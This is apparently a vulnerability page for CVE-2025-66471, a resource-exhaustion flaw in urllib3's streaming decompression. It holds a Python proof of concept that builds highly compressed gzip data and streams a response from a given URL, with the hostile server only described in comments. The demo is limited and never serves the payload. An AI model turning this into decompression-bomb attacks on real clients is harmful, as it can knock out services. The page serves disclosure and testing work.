CVE-2025-66471 urllib3流式API处理高压缩数据致资源耗尽漏洞

""" CVE-2025-66471 Proof of Concept urllib3 Streaming API Resource Exhaustion via Highly Compressed Data Note: This PoC demonstrates the vulnerability concept. Do not use for malicious purposes. """ import gzip import zlib import urllib3 from io import BytesIO def generate_highly_compressed_data(): """ Generate highly compressed data that will cause excessive memory allocation when decompressed by urllib3's streaming API. """ # Create data that compresses extremely well (high compression ratio) original_data = b'A' * 1000000 # 1MB of repeated characters # Use maximum compression level compressed_gzip = gzip.compress(original_data, compresslevel=9) print(f"Original size: {len(original_data)} bytes") print(f"Compressed size: {len(compressed_gzip)} bytes") print(f"Compression ratio: {len(original_data) / len(compressed_gzip):.1f}:1") return compressed_gzip def exploit_urllib3_streaming(url): """ Attempt to trigger resource exhaustion through urllib3 streaming API. This simulates what an attacker could do by controlling the server response. """ # Create a pool manager (this is what the client would use) http = urllib3.PoolManager() try: # Request with streaming enabled response = http.request('GET', url, preload_content=False, timeout=30.0) # Try to read in small chunks # The vulnerability is triggered when urllib3 decompresses the entire # highly compressed response in a single operation chunk_size = 1024 total_read = 0 chunks = [] for i in range(100): # Limit iterations for safety chunk = response.read(chunk_size) if not chunk: break chunks.append(chunk) total_read += len(chunk) print(f"Read chunk {i+1}: {len(chunk)} bytes, total: {total_read}") response.release_conn() return total_read except Exception as e: print(f"Error during streaming: {e}") return None def create_malicious_server_simulation(): """ Simulate a malicious server response with highly compressed data. In a real attack scenario, the attacker would control the server. """ compressed_data = generate_highly_compressed_data() # Create a BytesIO object to simulate the compressed response bio = BytesIO(compressed_data) # Manually decompress to show the expected behavior vs actual behavior import gzip decompressed = gzip.decompress(compressed_data) print(f"When fully decompressed: {len(decompressed)} bytes") print(f"This demonstrates the resource allocation issue in urllib3") return compressed_data if __name__ == '__main__': print("=" * 60) print("CVE-2025-66471 - urllib3 Resource Exhaustion PoC") print("=" * 60) # Generate the malicious compressed data create_malicious_server_simulation() print("\nNote: To trigger this vulnerability, an attacker would need to:") print("1. Control a server that responds with highly compressed data") print("2. Have a victim application use urllib3's streaming API") print("3. The victim's application would experience high CPU/memory usage")